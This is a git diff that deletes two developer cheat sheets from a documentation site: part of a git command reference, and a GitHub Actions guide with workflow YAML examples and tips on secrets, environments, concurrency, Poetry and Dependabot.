-git config --global color.ui true
-
-# To stage all changes for commit:
-
-git add --all
-
-# To stash changes locally, this will keep the changes in a separate changelist
-
-# called stash and the working directory is cleaned. You can apply changes
-
-# from the stash anytime
-
-git stash
-
-# To stash changes with a message:
-
-git stash push -m <message>
-
-# To list all the stashed changes:
-
-git stash list
-
-# To apply the most recent change and remove the stash from the stash list:
-
-git stash pop
-
-# To apply any stash from the list of stashes. This does not remove the stash
-
-# from the stash list
-
-git stash apply stash@{6}
-
-# To commit staged changes:
-
-git commit -m <message>
-
-# To edit previous commit message:
-
-git commit --amend
-
-# Git commit in the past
-
-git commit --date="`date --date='2 day ago'`"
-git commit --date="Jun 13 18:30:25 IST 2015"
-
-# more recent versions of Git also support --date="2 days ago" directly
-
-# To change the date of an existing commit:
-
-git filter-branch --env-filter \
- 'if [ $GIT_COMMIT = 119f9ecf58069b265ab22f1f97d2b648faf932e0 ]
-then
-export GIT_AUTHOR_DATE="Fri Jan 2 21:38:53 2009 -0800"
-export GIT_COMMITTER_DATE="Sat May 19 01:01:01 2007 -0700"
-fi'
-
-# To remove staged and working directory changes:
-
-git reset --hard
-
-# To go 2 commits back:
-
-git reset --hard HEAD~2
-
-# To revert first/initial commit on a branch:
-
-# Running git reset --hard HEAD~1 will give error:
-
-# fatal: ambiguous argument 'HEAD~1': unknown revision or path not in the working tree.
-
-git update-ref -d HEAD
-
-# To remove untracked files:
-
-git clean -f -d
-
-# To remove untracked and ignored files:
-
-git clean -f -d -x
-
-# To push to the tracked master branch:
-
-git push origin master
-
-# To push to a specified repository:
-
-git push git@github.com:<username>/<repo>.git
-
-# To push a tag to remote:
-
-git push origin <tagname>
-
-# To force a push:
-
-git push -f
-
-# To delete the branch <branch>:
-
-git branch -D <branch>
-
-# To make an exisiting branch track a remote branch:
-
-git branch -u upstream/foo
-
-# To see who commited which line in a file:
-
-git blame <file>
-
-# To sync a fork with the master repo:
-
-git remote add upstream git@github.com:<username>/<repo>.git # Set a new repo
-git remote -v # Confirm new remote repo
-git fetch upstream # Get branches
-git branch -va # List local - remote branches
-git checkout master # Checkout local master branch
-git checkout -b new_branch # Create and checkout a new branch
-git merge upstream/master # Merge remote into local repo
-git show 83fb499 # Show what a commit did.
-git show 83fb499:path/fo/file.ext # Shows the file as it appeared at 83fb499.
-git diff branch_1 branch_2 # Check difference between branches
-git log # Show all the commits
-git status # Show the changes from last commit
-
-# To view the commit history of a set of files:
-
-git log --pretty=email --patch-with-stat --reverse --full-index -- Admin\*.py > Sripts.patch
-
-# To import commits from another repo:
-
-git --git-dir=../some_other_repo/.git format-patch -k -1 --stdout <commit SHA> | git am -3 -k
-
-# To view commits that will be pushed:
-
-git log @{u}..
-
-# To view changes that are new on a feature branch:
-
-git log -p feature --not master
-git diff master...feature
-
-# To perform an interactive rebase for the prior 7 commits:
-
-git rebase -i @~7
-
-# To diff files WITHOUT considering them a part of git:
-
-# This can be used to diff files that are not in a git repo!
-
-git diff --no-index path/to/file/A path/to/file/B
-
-# To pull changes while overwriting any local commits:
-
-git fetch --all
-git reset --hard origin/master
-
-# To update all submodules:
-
-git submodule update --init --recursive
-
-# To perform a shallow clone to only get latest commits:
-
-# (helps save data when cloning large repos)
-
-git clone --depth 1 <remote-url>
-
-# To unshallow a clone:
-
-git pull --unshallow
-
-# To create a bare branch (one that has no commits on it):
-
-git checkout --orphan branch_name
-
-# To checkout a new branch from a different starting point:
-
-git checkout -b master upstream/master
-
-# To remove all stale branches (ones that have been deleted on remote):
-
-# So if you have a lot of useless branches, delete them on Github and then run this
-
-git remote prune origin
-
-# To prune all remotes at once:
-
-git remote prune $(git remote | tr '\n' ' ')
-
-# Revisions can also be identified with :/text
-
-# So, this will show the first commit that has "cool" in their message body
-
-git show :/cool
-
-# To undo parts of last commit in a specific file
-
-git checkout -p HEAD^ -- /path/to/file
-
-# To revert a commit and keep the history of the reverted change as a separate revert commit:
-
-git revert <commit SHA>
-
-# To pick a commit from a branch to current branch. This is different than merge as
-
-# this just applies a single commit from a branch to current branch:
-
-git cherry-pick <commit SHA1>
diff --git a/docs/content/cheat-sheets/github-actions.md b/docs/content/cheat-sheets/github-actions.md
deleted file mode 100644
index 8cc4831b12..0000000000
--- a/docs/content/cheat-sheets/github-actions.md
+++ /dev/null
@@ -1,703 +0,0 @@
----
-title: Github Actions
-subtitle: Github Actions
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: Github
-excerpt: GitHub Actions is a continuous integration and continuous delivery (CI/CD) platform that allows you to automate your build, test, and deployment pipeline. You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. GitHub Actions goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. GitHub provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure.
-seo:
-    title: ''
-    description: 'GitHub Actions is a continuous integration and continuous delivery (CI/CD) platform that allows you to automate your build, test, and deployment pipeline.'
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/github-b304136f.png
----
-
-# Github Actions
-
-## Introduction
-
-[GitHub Actions](https://github.com/features/actions) is a [CI/CD](https://docs.github.com/en/actions/getting-started-with-github-actions/core-concepts-for-github-actions) service that runs on GitHub repos.
-
-Compared with Travis CI, GitHub Actions is:
-
--   **Easier**
--   **More flexible**
--   **More powerful**
--   **More secure**
-
-## Workflows and actions
-
-### Getting started
-
--   **[Workflows](https://docs.github.com/en/actions/getting-started-with-github-actions/core-concepts-for-github-actions)** are YAML files stored in the _.github/workflows_ directory of a repository.
--   An **[Action](https://docs.github.com/en/actions/getting-started-with-github-actions/core-concepts-for-github-actions)** is a package you can import and use in your **workflow**. GitHub provides an **[Actions Marketplace](https://github.com/marketplace?type=actions)** to find actions to use in workflows.
--   A **job** is a virtual machine that runs a series of **steps**. **Jobs** are parallelized by default, but **steps** are sequential by default.
--   **To [get started](https://docs.github.com/en/actions/getting-started-with-github-actions):**
-    -   Navigate to one of your repos
-    -   Click the "Actions" tab.
-    -   Select "New workflow"
-    -   Choose one of the starter workflows. These templates come from [actions/starter-workflows](https://github.com/actions/starter-workflows).
--   Workflows can be [triggered](https://docs.github.com/en/actions/reference/events-that-trigger-workflows) by many different events from the GitHub API. The `workflow_dispatch` trigger allows workflows to be triggered manually, with optional input values that can be referenced in the workflow.
--   GitHub provides a [context and expression syntax](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions) for programmatic control of workflows. For example:
-    ```text
-    echo ::set-output name=SPAM_STRING::${{ format(
-      'Spam is short for {0} and is made from {1} by {2}',
-      'spiced ham',
-      'pork shoulder',
-      'Hormel'
-    ) }}
-    ```
-    -   Command: `echo ::set-output name=ENV_NAME::value`, like `echo ::set-output name=COLOR::green`
-    -   Expression: `${{ }}`
-    -   Function:
-        -   `contains('this is a demo', 'demo')` evaluates to Boolean `true`
-        -   `format('Spam is short for {0} and is made from {1} by {2}', 'spiced ham', 'pork shoulder', 'Hormel')`
-
-### Example workflow with one job
-
-A workflow file might look like this:
-
-```yml
-name: demo
-
-on:
-    push:
-        branches: [demo]
-    pull_request:
-    workflow_dispatch:
-
-env:
-    APP_NAME: 'GitHub Actions demo workflow'
-
-jobs:
-    simple:
-        runs-on: ubuntu-latest
-        steps:
-            - name: Checkout repo
-              uses: actions/checkout@v2
-            - name: Verify the workspace context
-              run: echo 'Workspace directory is ${{ github.workspace }}'
-            - name: Run a simple echo command with a pre-set environment variable
-              run: echo 'Hello World, from ${{ env.APP_NAME }}'
-            - name: Set an environment variable using a multi-line string
-              run: |
-                  echo "MULTI_LINE_STRING<<EOF" >> $GITHUB_ENV
-                  echo "
-                    Hello World!
-                    Here's a
-                    multi-line string.
-                  " >> $GITHUB_ENV
-                  echo "EOF" >> $GITHUB_ENV
-            - name: Check the environment variable from the previous step
-              run: echo $MULTI_LINE_STRING
-            - name: Set build environment based on Git branch name
-              if: github.ref == 'refs/heads/demo' || contains(env.APP_NAME, 'demo')
-              run: echo "BUILD_ENV=demo" >> $GITHUB_ENV
-            - name: Use the GitHub Actions format function to provide some details about Spam
-              run: |
-                  echo "SPAM_STRING=${{ format(
-                    'Spam is short for {0} and is made from {1} by {2}',
-                    'spiced ham',
-                    'pork shoulder',
-                    'Hormel'
-                  ) }}" >> $GITHUB_ENV
-            - name: Run a multi-line shell script block
-              run: |
-                  echo "
-                  Hello World, from ${{ env.APP_NAME }}!
-                  Add other actions to build,
-                  test, and deploy your project.
-                  "
-                  if [ "$BUILD_ENV" = "demo" ] || ${{ contains(env.APP_NAME, 'demo') }}; then
-                    echo "This is a demo."
-                  elif [ "$BUILD_ENV" ]; then
-                    echo "BUILD_ENV=$BUILD_ENV"
-                  else
-                    echo "There isn't a BUILD_ENV variable set."
-                  fi
-                  echo "Did you know that $SPAM_STRING?"
-            - uses: actions/setup-python@v2
-              with:
-                  python-version: 3.8
-            - name: Run a multi-line Python script block
-              shell: python
-              run: |
-                  import os
-                  import sys
-
-                  version = f"{sys.version_info.major}.{sys.version_info.minor}"
-                  print(f"Hello World, from Python {version} and ${{ env.APP_NAME }}!")
-                  print(f"Did you know that {os.getenv('SPAM_STRING', 'there is a SPAM_STRING')}?")
-            - name: Run an external shell script
-              working-directory: ./.github/workflows
-              run: . github-actions-workflow-demo.sh
-            - name: Run an external Python script
-              working-directory: ./.github/workflows
-              run: python github-actions-workflow-demo.py
-```
-
-### Example workflow with a build matrix
-
-<img src="https://gist.githubusercontent.com/br3ndonland/f9c753eb27381f97336aa21b8d932be6/raw/11a9ebb7b848aa016deaed4187541fd49fb30e21/images-features-matrix.png" alt="GitHub Actions Build Matrix from https://github.com/features/actions" width="800px">
-
-```yml
-name: demo
-
-on:
-    push:
-        branches: [master, develop]
-    pull_request:
-    workflow_dispatch:
-
-env:
-    APP_NAME: 'GitHub Actions sample workflow with build matrix'
-
-jobs:
-    matrix:
-        runs-on: ${{ matrix.os }}
-        strategy:
-            matrix:
-                os: [macOS-latest, ubuntu-latest, windows-latest]
-                python-version: [3.6, 3.7, 3.8]
-                silly-word: [foo, bar, baz]
-        steps:
-            - uses: actions/checkout@v2
-            - name: Echo a silly word
-              run: echo ${{ matrix.silly-word }}
-            - name: Set up Python ${{ matrix.python-version }}
-              uses: actions/setup-python@v2
-              with:
-                  python-version: ${{ matrix.python-version }}
-            - name: Run a multi-line Python script block
-              shell: python
-              run: |
-                  import os
-                  import sys
-
-                  version = f"{sys.version_info.major}.{sys.version_info.minor}"
-                  print(f"Hello World, from Python {version}, ${{ matrix.os }}, and ${{ matrix.silly-word }}!")
-```
-
-### Output
-
-GitHub Actions provides output like this:
-
-<img src="https://gist.githubusercontent.com/br3ndonland/f9c753eb27381f97336aa21b8d932be6/raw/3315059cbe4dad063328daf58f85ab1e7949eac9/images-annotated-workflow.png" alt="Annotated workflow image from https://docs.github.com/en/actions/configuring-and-managing-workflows/configuring-a-workflow" width="800px">
-
-You can see a demo workflow in [br3ndonland/algorithms](https://github.com/br3ndonland/algorithms/actions?query=workflow%3Ademo).
-
-## Pro tips
-
-### General
-
--   **Steps** in a **job** are sequential by default.
--   **Jobs** are parallelized by default, unless you control the order by using `needs`.
--   **Action inputs and outputs**: If you're unclear on what you can do with an action, navigate to the GitHub repo for the action and look for a file called _action.yml_, like [this one in actions/checkout](https://github.com/actions/checkout/blob/main/action.yml). This file is a manifest declaring what the action can do.
--   **Debugging**: If you want more debugging information, add `ACTIONS_STEP_DEBUG` to your secrets parameter store.
-    -   Key: `ACTIONS_STEP_DEBUG`
-    -   Value: `true`
-
-### Secrets
-
-**Secrets** is an encrypted parameter store (key:value store). The syntax is similar to environment variables.
-
--   [GitHub Actions can use secrets](https://docs.github.com/en/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets), so you don't have to hard-code API keys and other credentials. Secrets are redacted from GitHub Actions logs.
--   Each repo has a secrets store at _Settings -> Secrets_ (`https://github.com/org/repo/settings/secrets`)
--   Each organization also has a secrets store that can be used in all the organization's repos.
-
-### Containers
-
--   [Service containers](https://docs.github.com/en/actions/configuring-and-managing-workflows/using-databases-and-service-containers) can be set up for test databases and other needs.
--   [GitHub Actions now allows service containers from private registries](https://github.community/t/you-can-now-use-images-from-private-registries-in-job-and-service-containers/134952).
--   Users can create their own actions. For example, [container actions](https://docs.github.com/en/actions/creating-actions/creating-a-docker-container-action) can run in Docker containers of your choosing. [Action composition](https://docs.github.com/en/actions/creating-actions/creating-a-composite-action) can help reduce code duplication.
-
-### Concurrency
-
--   GitHub Actions offers a [`concurrency`](https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#concurrency) key to control how many workflows are running at one time.
--   Syntax examples:
-    -   To only allow one concurrent workflow per commit: `concurrency: ci-${{ github.ref }}`
-    -   To only allow one concurrent workflow per [environment](https://docs.github.com/en/actions/reference/environments), at the job level: `concurrency: ${{ environment.name }}`
--   Concurrency can be specified at the workflow level, or at the job level.
-    -   It's most useful to specify concurrency at the job level, because outputs from earlier jobs in the workflow can be used (like `concurrency: ${{ needs.setup-job.outputs.ecs-deployment-group-name }}`). Unfortunately, job-level concurrency ([`jobs.<job_id>.concurrency`](https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency)) triggers runs out of order (earlier jobs run after later jobs), which is not very useful. The docs explain, "Note: When concurrency is specified at the job level, order is not guaranteed for jobs or runs that queue within 5 minutes of each other."
-    -   Concurrency can also be specified at the workflow level, using the name of the workflow (`concurrency: ${{ github.workflow }}`). This avoids triggering runs out of order, but could also result in canceled workflow runs. Only one run can be pending at a time, and each new run will cancel the previous pending run.
--   A common use case for limiting concurrency is in deployments. For example, when deploying Docker containers to AWS ECS Fargate with CodeDeploy, the [aws-actions/amazon-ecs-deploy-task-definition](https://github.com/marketplace/actions/amazon-ecs-deploy-task-definition-action-for-github-actions) step may error with [`DeploymentLimitExceededException`](https://docs.aws.amazon.com/codedeploy/latest/APIReference/API_CreateDeployment.html). The error message will look something like, "The Deployment Group already has an active Deployment." Furthermore, if GitHub Actions workflows are canceled, the ECS Fargate CodeDeploy deployments are not necessarily also canceled. If another GitHub Actions run proceeds, the `DeploymentLimitExceededException` may still be seen.
-    -   One solution is to add the `force-new-deployment: true` setting to the [aws-actions/amazon-ecs-deploy-task-definition](https://github.com/marketplace/actions/amazon-ecs-deploy-task-definition-action-for-github-actions) step, to ensure that a new deployment is triggered.
-    -   It is possible to simply re-run any workflows that failed because of this error.
-    -   It could also be helpful to limit concurrency to a single deployment to avoid errors.
--   Overall, GitHub Actions concurrency has many limitations, and may not be useful at this point.
--   _Note: concurrency is in beta and the syntax may change._
-
-### Chaining workflows together
-
--   The `needs:` key helps chain _jobs within a workflow_ together, but not _multiple workflows_.
--   There's a new `workflow_run` trigger that may help to chain workflows together. The [GitHub Actions docs](https://docs.github.com/en/actions/reference/events-that-trigger-workflows#workflow_run) explain how to use it to chain workflows:
-
-    > To run a workflow job conditionally based on the result of the previous workflow run, you can use the [`jobs.<job_id>.if`](https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) or [`jobs.<job_id>.steps[*].if`](https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif) conditional combined with the `conclusion` of the previous run. For example:
-    >
-    > ```yml
-    > on:
-    >     workflow_run:
-    >         workflows: ['Build']
-    >         types: [completed]
-    >
-    > jobs:
-    >     on-success:
-    >         runs-on: ubuntu-latest
-    >         if: ${{ github.event.workflow_run.conclusion == 'success' }}
-    >         steps: ...
-    >     on-failure:
-    >         runs-on: ubuntu-latest
-    >         if: ${{ github.event.workflow_run.conclusion == 'failure' }}
-    >         steps: ...
-    > ```
-
--   GitHub has also introduced some features for [reusable workflows](https://docs.github.com/en/actions/learn-github-actions/reusing-workflows), including a new `workflow_call` trigger that allows entire workflows to be called directly. The called workflow must include `on: workflow_call`, with inputs that are referenced in the downstream workflow.
-
-    ```yml
-    # greeter.yml
-    name: Reusable workflow example
-
-    on:
-        workflow_call:
-            inputs:
-                username:
-                    description: Username for the workflow
-                    required: true
-                    type: string
-                repo:
-                    description: >
-                        Repository to check out.
-                        Include a personal access token (PAT) with repo scope for private repos.
-                    required: true
-                    type: string
-                environment:
-                    required: false
-                    type: string
-                    default: development
-            secrets:
-                personal-access-token:
-                    description: GitHub Personal Access Token (PAT) with necessary scopes
-                    required: false
-
-    jobs:
-        greeter:
-            name: Greet the user
-            runs-on: ubuntu-latest
-            steps:
-                uses: actions/checkout@v2
-                with:
-                    repository: ${{ inputs.repo }}
-                    token: ${{ secrets.personal-access-token }}
-                run: |
-                    echo 'Hello, ${{ inputs.username }}!' \
-                      'The repo ${{ inputs.repo }} was checked out.' \
-                      'This is the ${{ inputs.environment }} environment.'
-    ```
-
-    ```yml
-    name: Downstream workflow that uses the reusable workflow
-
-    on:
-        push:
-        pull_request:
-        workflow_dispatch:
-
-    jobs:
-        greet_me:
-            uses: org/repo/.github/workflows/greeter.yml@main
-            with:
-                username: Octocat
-                repo: my-private-repo
-                personal-access-token: ${{ secrets.MY_GITHUB_PAT }}
-    ```
-
-    ```text
-    Hello, Octocat! The repo my-private-repo was checked out. This is the development environment.
-    ```
-
-### Error handling
-
--   Use [`continue-on-error: true` on a step](https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) to continue the job if the step fails, and use [`if: steps.<step_id>.outcome == 'success'`](https://docs.github.com/en/actions/learn-github-actions/contexts#steps-context) to trigger downstream steps only if the step succeeds.
--   Use [`continue-on-error: true` on a job](https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) to continue to the next job if the current job fails, and use [`if: jobs.<job_id>.outcome == 'success'`](https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_id) to trigger downstream jobs only if the job succeeds.
-
-### Environments
-
-GitHub Actions offers [environments](https://docs.github.com/en/actions/reference/environments), which allow branch protection rules and secrets to be set individually for each environment (instead of for the repo as a whole). The way they've set up environments is a little confusing, and most of the functionality of environments can be implemented with other features like `strategy.matrix` or environment variables.
-
-Let's look at a common use case that highlights the limitations of environments: deploying a service to multiple cloud regions. We'll use two environments that map to Git branches, and two cloud regions for each environment.
-
-#### Setting up environments
-
-1. In a GitHub repo's settings, add an **[environment](https://docs.github.com/en/actions/reference/environments)** for each combo of Git branch and AWS region. For example, for two Git branches and two AWS regions, the environment names could be:
-    - `development-us-east-1`
-    - `development-us-west-2`
-    - `production-us-east-1`
-    - `production-us-west-2`
-2. In each environment's **environment protection rules**, set the **deployment branch** to the corresponding Git branch:
-    - `development-us-east-1`: `develop`
-    - `development-us-west-2`: `develop`
-    - `production-us-east-1`: `main`
-    - `production-us-west-2`: `main`
-3. In the **environment secrets** for each environment, set a secret with key `AWS_REGION` and value set to the corresponding AWS region. These aren't necessarily sensitive credentials, but GitHub uses secrets for all key-value pairs. Examples:
-    - `development-us-east-1`: secret name: `AWS_REGION`, secret value: `us-east-1`
-    - `development-us-west-2`: secret name: `AWS_REGION`, secret value: `us-west-2`
-    - `production-us-east-1`: secret name: `AWS_REGION`, secret value: `us-east-1`
-    - `production-us-west-2`: secret name: `AWS_REGION`, secret value: `us-west-2`
-4. **[Reference the environment name within GitHub Actions workflows](https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idenvironment)**, optionally limiting **[workflow concurrency](https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#concurrency)** by each environment.
-
-#### Minimal example
-
-```yml
-name: multi-region environment example
-
-on:
-    push:
-        branches: [develop, main]
-    workflow_dispatch:
-
-jobs:
-    setup:
-        runs-on: ubuntu-latest
-        outputs:
-            deploy-env: ${{ steps.set-deploy-env.outputs.deploy-env }}
-        steps:
-            - uses: actions/checkout@v2
-            - name: Set deployment environment based on Git branch
-              id: set-deploy-env
-              run: |
-                  if ${{ github.ref == 'refs/heads/main' }} || ${{ startsWith(github.ref, 'refs/tags/') }}; then
-                    DEPLOY_ENV="production"
-                  else
-                    DEPLOY_ENV="development"
-                  fi
-                  echo ::set-output name=deploy-env::$DEPLOY_ENV
-    deploy:
-        needs: [setup]
-        runs-on: ubuntu-latest
-        strategy:
-            matrix:
-                aws-region: [us-east-1, us-west-2]
-        environment:
-            name: ${{ needs.setup.outputs.deploy-env }}-${{ matrix.aws-region }}
-        concurrency: ${{ environment.name }}
-        steps:
-            - uses: aws-actions/configure-aws-credentials@v1
-              id: aws-login
-              with:
-                  aws-region: ${{ secrets.AWS_REGION }}
-                  aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
-                  aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
-            - run: echo "This job will deploy to the environment named ${{ environment.name }}."
-```
-
-#### Limitations
-
-By the time you've done all the setup to actually specify the deployment environment and region, you already have the region you need, and the environment isn't particularly useful. For example, in the `aws-login` step above, the `aws-region: ${{ secrets.AWS_REGION }}` value could be replaced by `aws-region: ${{ matrix.aws-region }}`. It would be more helpful to have an environment automatically apply to a Git branch or a workflow, and then be able to reference the configuration values within workflows automatically. It's actually the opposite. You have to specify the environment from within the workflow, and then if the environment protection rules are met, you get access to the corresponding environment secrets.
-
-### VMs and pricing
-
--   **VM info**: The GitHub Actions runner [provisions virtual machines](https://docs.github.com/en/actions/reference/virtual-environments-for-github-hosted-runners) with similar resources as [AWS EC2 `t2.large` instances](https://aws.amazon.com/ec2/instance-types/).
-    -   2-core CPU
-    -   7 GB of RAM memory
-    -   14 GB of SSD disk space
--   GitHub Actions is free for open-source repos. Pricing for other repos only kicks in if you exceed the allotted build minutes.
-
-    <img src="https://gist.githubusercontent.com/br3ndonland/f9c753eb27381f97336aa21b8d932be6/raw/194dc0e4b8b02e29fe50477a48e0e07aa09408db/images-features-pricing.png" alt="GitHub Actions pricing info from https://github.com/features/actions" width="800px">
-
-### GitHub Actions and Poetry
-
-[Poetry](https://python-poetry.org/) is a useful tool for Python packaging and dependency management. The following set of tips was originally posted to [python-poetry/poetry#366](https://github.com/python-poetry/poetry/issues/366#issuecomment-691412462).
-
-#### Use caching to speed up workflows
-
-Use [actions/cache](https://github.com/marketplace/actions/cache) with a variation on their [`pip` cache example](https://github.com/actions/cache/blob/main/examples.md) to cache Poetry dependencies for faster installation.
-
-```yml
-- name: Set up Poetry cache for Python dependencies
-  uses: actions/cache@v2
-  if: startsWith(runner.os, 'Linux')
-  with:
-      path: ~/.cache/pypoetry
-      key: ${{ runner.os }}-poetry-${{ hashFiles('**/poetry.lock') }}
-      restore-keys: ${{ runner.os }}-poetry-
-```
-
-#### Use the custom installer
-
-Installing Poetry via `pip` can lead to dependency conflicts, so the custom installer is recommended. The command listed in the [docs](https://python-poetry.org/docs/#installation) exits in GitHub Actions with `127` ([not on `$PATH`](https://www.gnu.org/software/bash/manual/html_node/Exit-Status.html)).
-
-There are some additional modifications needed for GitHub Actions:
-
--   Add `-y` to avoid prompts.
--   Add Poetry to [`$GITHUB_PATH`](https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-commands-for-github-actions#environment-files) (note that the `::set-env` syntax has been [deprecated](https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/)).
--   Move `poetry install` to separate step to ensure Poetry is on `$GITHUB_PATH`.
-
-```yml
-- name: Install Poetry
-  run: |
-      curl -fsS -o get-poetry.py https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py
-      python get-poetry.py -y
-      echo "$HOME/.poetry/bin" >> $GITHUB_PATH
-- name: Install dependencies
-  run: poetry install --no-interaction
-```
-
-#### Use environment variables for config
-
-Poetry allows config from the `poetry config` command, or [by environment variables](https://python-poetry.org/docs/configuration/#using-environment-variables). Environment variables are a more dependable way to configure Poetry in CI.
-
-```yml
-env:
-    POETRY_VIRTUALENVS_CREATE: false
-```
-
-#### Build and publish in one step
-
--   [Create a PyPI token](https://pypi.org/help/#apitoken).
--   Add it to the [GitHub Secrets](https://docs.github.com/en/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) store for the repo _(Settings -> Secrets)_.
--   Use the secret in your workflow with `${{ secrets.PYPI_TOKEN }}` (secret name is `PYPI_TOKEN` in this example, and username for PyPI tokens is `__token__`).
--   Use [`poetry publish --build`](https://python-poetry.org/docs/cli/#publish) to build and publish in one step.
-
-```yml
-- name: Build Python package and publish to PyPI
-  if: startsWith(github.ref, 'refs/tags/')
-  run: poetry publish --build -u __token__ -p ${{ secrets.PYPI_TOKEN }}
-```
-
-That's why they call it Poetry. Beautiful.
-
-#### Example workflow
-
-<details><summary><em>Expand this details element for an example workflow from <a href="https://github.com/br3ndonland/inboard">br3ndonland/inboard</a> that uses these tips.</em></summary>
-
-```yml
-name: builds
-
-on:
-    push:
-        branches: [develop, master]
-        tags:
-            - '[0-9v]+.[0-9]+.[0-9a-z]+'
-    workflow_dispatch:
-
-jobs:
-    python:
-        runs-on: ubuntu-latest
-        env:
-            POETRY_VIRTUALENVS_CREATE: false
-        steps:
-            - uses: actions/checkout@v2
-            - uses: actions/setup-python@v2
-              with:
-                  python-version: 3.8
-            - name: Set up Poetry cache for Python dependencies
-              uses: actions/cache@v2
-              if: startsWith(runner.os, 'Linux')
-              with:
-                  path: ~/.cache/pypoetry
-                  key: ${{ runner.os }}-poetry-${{ hashFiles('**/poetry.lock') }}
-                  restore-keys: ${{ runner.os }}-poetry-
-            - name: Set up pre-commit cache
-              uses: actions/cache@v2
-              if: startsWith(runner.os, 'Linux')
-              with:
-                  path: ~/.cache/pre-commit
-                  key: ${{ runner.os }}-pre-commit-${{ hashFiles('.pre-commit-config.yaml') }}
-                  restore-keys: ${{ runner.os }}-pre-commit-
-            - name: Install Poetry
-              run: |
-                  curl -fsS -o get-poetry.py https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py
-                  python get-poetry.py -y
-                  echo "$HOME/.poetry/bin" >> $GITHUB_PATH
-            - name: Install dependencies
-              run: poetry install --no-interaction -E fastapi
-            - name: Run pre-commit hooks
-              run: pre-commit run --all-files
-            - name: Run unit tests
-              run: pytest
-            - name: Build Python package and publish to PyPI
-              if: startsWith(github.ref, 'refs/tags/')
-              run: poetry publish --build -u __token__ -p ${{ secrets.PYPI_TOKEN }}
-    docker:
-        runs-on: ubuntu-latest
-        needs: [python]
-        steps:
-            - uses: actions/checkout@v2
-            - name: Log in to Docker registry
-              run: docker login ghcr.io -u ${{ github.actor }} -p ${{ secrets.PAT_GHCR }}
-            - name: Build Docker images
-              run: |
-                  docker build . --rm --target base -t ghcr.io/br3ndonland/inboard:base --cache-from python:3.8
-                  docker build . --rm --target starlette -t ghcr.io/br3ndonland/inboard:starlette
-                  docker build . --rm --target fastapi -t ghcr.io/br3ndonland/inboard:fastapi
-            - name: Push Docker images to registry
-              run: |
-                  docker push ghcr.io/br3ndonland/inboard:base
-                  docker push ghcr.io/br3ndonland/inboard:starlette
-                  docker push ghcr.io/br3ndonland/inboard:fastapi
-            - name: Add Git tag to Docker images
-              if: startsWith(github.ref, 'refs/tags/')
-              run: |
-                  GIT_TAG=$(echo ${{ github.ref }} | cut -d / -f 3)
-                  docker tag ghcr.io/br3ndonland/inboard:base ghcr.io/br3ndonland/inboard:base-"$GIT_TAG"
-                  docker tag ghcr.io/br3ndonland/inboard:starlette ghcr.io/br3ndonland/inboard:starlette-"$GIT_TAG"
-                  docker tag ghcr.io/br3ndonland/inboard:fastapi ghcr.io/br3ndonland/inboard:fastapi-"$GIT_TAG"
-                  docker push ghcr.io/br3ndonland/inboard:base-"$GIT_TAG"
-                  docker push ghcr.io/br3ndonland/inboard:starlette-"$GIT_TAG"
-                  docker push ghcr.io/br3ndonland/inboard:fastapi-"$GIT_TAG"
-            - name: Tag and push latest image
-              run: |
-                  docker tag ghcr.io/br3ndonland/inboard:fastapi ghcr.io/br3ndonland/inboard:latest
-                  docker push ghcr.io/br3ndonland/inboard:latest
-```
-
-</details>
-
-#### Bonus: automated dependency updates with Dependabot
-
-Dependabot now offers [automated version updates](https://github.blog/2020-06-01-keep-all-your-packages-up-to-date-with-dependabot/), with (preliminary) support for Poetry :tada:. If you have access to the Dependabot beta, set up _.github/dependabot.yml_ as described in the [docs](https://docs.github.com/en/github/administering-a-repository/about-github-dependabot-version-updates):
-
-```yml
-version: 2
-updates:
-    - package-ecosystem: 'github-actions'
-      directory: '/'
-      schedule:
-          interval: 'weekly'
-    - package-ecosystem: 'pip'
-      directory: '/'
-      schedule:
-          interval: 'weekly'
-```
-
-Dependabot will now send you PRs when dependency updates are available. Although `package-ecosystem` must be set to `pip`, it will pick up the _pyproject.toml_ and _poetry.lock_. Check the status of the repo at _Insights -> Dependency graph -> Dependabot_.
-
-## Challenges
-
-### Lacking necessary `on:` triggers
-
-There's no PR merge trigger. There are two ways to implement this:
-
-1. Use `pull_request:` `types: [closed]` as the event trigger and only run each job if the event payload contains `merged == 'true'`. See the [context and expression syntax docs](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions) for examples of how to use the event payload.
-
-    ```yml
-    name: demo
-    on:
-        pull_request:
-            types: [closed]
-        # release:
-        #   types: [published]
-    jobs:
-        job1:
-        # if: github.event.pull_request.merged == 'true' || github.event.release.draft == 'false'
-        if: github.event.pull_request.merged == 'true'
-        steps:
-            - name: step1
-              run: echo 'hello world'
-    ```
-
-2. Set up a `repository_dispatch` or `workflow_dispatch` webhook and use that as the trigger. The method for this is unclear, and [`workflow_dispatch` events may only be read on the default branch](https://github.community/t/14470).
-
-**Inability to set environment variables per-trigger:** It's difficult to set environment variables per-trigger, such as based on which branch was checked out. There's a top-level `env:` key, but it doesn't allow expressions or separate `steps:`.
-
